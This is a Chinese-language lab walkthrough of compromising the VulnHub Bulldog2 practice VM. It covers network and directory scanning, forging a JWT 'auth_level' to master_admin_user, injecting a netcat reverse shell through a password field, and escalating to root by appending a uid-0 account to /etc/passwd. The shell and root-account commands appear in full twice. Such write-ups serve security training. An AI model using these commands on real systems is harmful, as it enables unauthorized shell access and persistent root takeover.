靶机渗透(一)——bulldog2

一、靶机下载

靶机下载地址:https://download.vulnhub.com/bulldog/Bulldog2.ova

二、bulldog2靶机搭建

将刚刚下载完成的bulldog2.ova导入到VM VirtualBox,并且修改靶机的网络,注意红框,下面能用到

在这里插入图片描述

修改完打开就是这样的

在这里插入图片描述

三、kali攻击机

打开vmware中的虚拟网络编辑器,将kali网络类型配置成桥接模式,桥接至(不要自动,找到靶机的页面名称)
在这里插入图片描述

四、攻击

1.在kali上查看ip
ifconfig
在这里插入图片描述
发现攻击机ip地址为192.168.56.102

2.扫描靶机ip

因靶机是自动获取IP,与kali在同一个网段,用netdiscover -i eth0 -r 192.168.56.0/24扫描靶机的ip

netdiscover: -i 指定网卡 -r 指定网段

在这里插入图片描述
nmap扫描的话是可以扫描到本机ip的(nmap详细参数)

nmap -sn 192.168.56.0/24

3.扫描端口

根据上面主机发现得到的主机,然后依次对每个主机进行快速端口扫描,分析得到自己要攻击的目标主机

nmap -sS 192.168.56.101

或者

masscan --rate=10000 --ports 0-65535 192.168.56.101

masscan --rate=每秒多少个数据包 --ports 端口范围 IP地址/IP地址段

Masscan扫描速度快,快速发现开放的端口,为了防止漏扫,可以多扫描几次

将每个ip地址都扫描一下端口,可以确定靶机的ip地址:192.168.56.101
(虽然在靶机那里可以看到IP地址,但万一靶机在vmware中就看不到了)

在这里插入图片描述
可以看到80端口开着

4.扫描端口的详细信息

nmap -sV -T4 -O 192.168.56.101

在这里插入图片描述

5.目录扫描

尝试目录扫描,没发现有用信息

dirb http://192.168.56.101

在这里插入图片描述
6.访问80端口
浏览器访问http://192.168.10.155,发现发现登录界面
在这里插入图片描述
点击login
在这里插入图片描述
点击register,发现不支持注册,如果可以注册的话,我们就可以进行登录。
在这里插入图片描述

一般情况下,如果没有发现什么可利用的目录,就可以尝试查看js页面,一般会有突破口

7.查看前端页面的代码

在这里插入图片描述
发现在前端有四个js文件,我们ctrl进入
在这里插入图片描述
对每个js文件进行审查

尝试在美化后的js文件中使用Register关键字进行搜索

可以发现注册所需的信息为四条,name、email、username、password,我们可以根据这四条信息进行模拟注册

在这里插入图片描述

8.使用burp suit抓包并进行注册

在这里插入图片描述

在这里插入图片描述
用刚刚注册成功的账户进行登录

在这里插入图片描述
在这里插入图片描述
再另外创建一个用户(111),用于测试

9.尝试水平越权

在这里插入图片描述
只要知道用户名,就可以直接登录到对方账户;说明存在水平越权漏洞,但是这几个账户都没有什么可以利用的信息;

10.再次登录抓包

在这里插入图片描述

返回包 带有一个JWT开头的token字段;这个token传递了什么信息呢;

JWT(Json Web Token)的声明,一般用于身份提供者和服务提供者间,来传递被认证的用户身份信息,以便从资源服务器获取资源,也可以增加一些额外的其他业务逻辑所必须的声明信息,该token也可直接被用于认证或被加密;

11.JWT解密

https://jwt.io/
在这里插入图片描述
在payload中,我们看见详细的信息,其中有个没有见过的属性"auth_level": "standard_user",通过名字就应该知道是判断用户权限的,去js文件中查找一下

在这里插入图片描述
12.将响应里的standard_user替换成master_admin_user

在这里插入图片描述
之后点击forward,会看到响应内容

在这里插入图片描述
将编码进行替换,standard_user也要替换成master_admin_user

再次点击forward,然后就会看到网页多了admin,说明存在垂直越权漏洞

在这里插入图片描述
点击admin,输入用户名密码,抓包,观察

在这里插入图片描述
密码错误,页面还是返回200

13.在修改密码处添加反弹shell

在攻击端开启监听,发送数据包,这时攻击端便获得目标的shell了

反弹shell:rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.56.102 1234 >/tmp/f

IP地址是kali的
在这里插入图片描述

返回kali

在这里插入图片描述
成功获取到shell后,就需要进行提权操作;

14.提权
查看所有可写的文件

find / -writable -type f 2>/dev/null |grep -v "/proc/"

在这里插入图片描述
添加一个新的具有root权限的账户;

输入命令:perl -le ‘print crypt(“pass”, “aa”)’

在这里插入图片描述

  • 其中,pass为加密的密码;aa表示使用的加密盐(可以有aa,sa,Fx等),如果不使用加密盐,那么输出的字符串将不是crypt加密格式,而是MD5加密格式的。所以,加密盐其实是必须的参数

  • char *crypt(const char *key, const char *salt);
    key就是我们要传入的明文,salt是我们指定用来加密的密钥,返回值就是加密后的密文。

  • perl 在linux中可以理解为增强版本的shell,是一种脚本语言,具有程序结构,很多内建功能,也方便调用其他程序
    -a 自动分隔模式,用空格分隔$并保存在@F中,也就是@F=split //, $
    -F 指定-a的分隔符
    -l 对输入的内容进行自动chomp,对输出的内容自动加换行符
    -n 相当于while(<>)
    -e 执行命令,也就是脚本
    -p 自动循环+输出,也就是while(<>){命令(脚本); print;}

将新用户写入passwd文件

echo 'ppp:aaW3cJZ7OSoQM:0:0:ppp:/root:/bin/bash' >> passwd

在这里插入图片描述

当前不是终端,无法切换账户,需要新打开一个终端,然后切换账户成功,获得管理员权限

python -c ‘import pty;pty.spawn("/bin/bash")

在这里插入图片描述

五、总结

1.扫描ip,namp或者netdiscover

netdiscover -i eth0 -r 192.168.56.0/24
nmap -sn 192.168.56.0/24

2.扫描端口

masscan --rate=10000 --ports 0-65535 192.168.56.101
nmap -sS 192.168.56.101

3.扫描目录dirb

dirb http://192.168.56.101

4.如果目录没有问题,查看js,审查js代码

5.注册页面关闭,看看登录页面,观察一下url地址

6.水平越权,垂直越权

7.反弹shell

rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.56.102 1234> /tmp/f

8.查看可写目录,密码加密 , 创建用户并提权

find / -writable -type f 2>/dev/null |grep -v “/proc/”
perl -le ‘print crypt(“pass”, “aa”)’
echo ‘ppp:aaW3cJZ7OSoQM:0:0:ppp:/root:/bin/bash’ >> passwd

9.用命令打开终端切换用户

python -c ‘import pty;pty.spawn("/bin/bash")’ su

  • 3
    点赞
  • 6
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值